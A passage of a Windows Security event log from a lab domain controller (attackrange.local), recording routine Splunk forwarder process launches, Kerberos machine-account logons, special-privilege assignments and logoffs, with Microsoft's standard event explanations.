Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254066 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254065 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254067 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1314 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254069 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254068 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254072 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xAB589 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62307 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:54:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254071 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xAB589 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:54:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254070 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1004 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254073 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254075 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x58AA5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:54:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254074 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x59322 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:54:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254076 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8288E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:54:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254077 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1130 - New Process Name: C:\Windows\System32\wermgr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wermgr.exe -upload - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254080 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xAD187 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:54:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254079 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xAD187 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62318 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:54:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254078 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xAD187 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:55:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254083 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xAD532 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254082 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xAD532 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62321 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:55:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254081 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xAD532 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:55:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254084 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:55:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254092 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:55:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254091 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C0E5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254090 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C27B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254089 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C4BB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254088 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C698 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254087 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C7B6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254086 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C8C7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:55:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254085 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81C33 - -Logon Type: 3 - -This event is generated when a logon session is 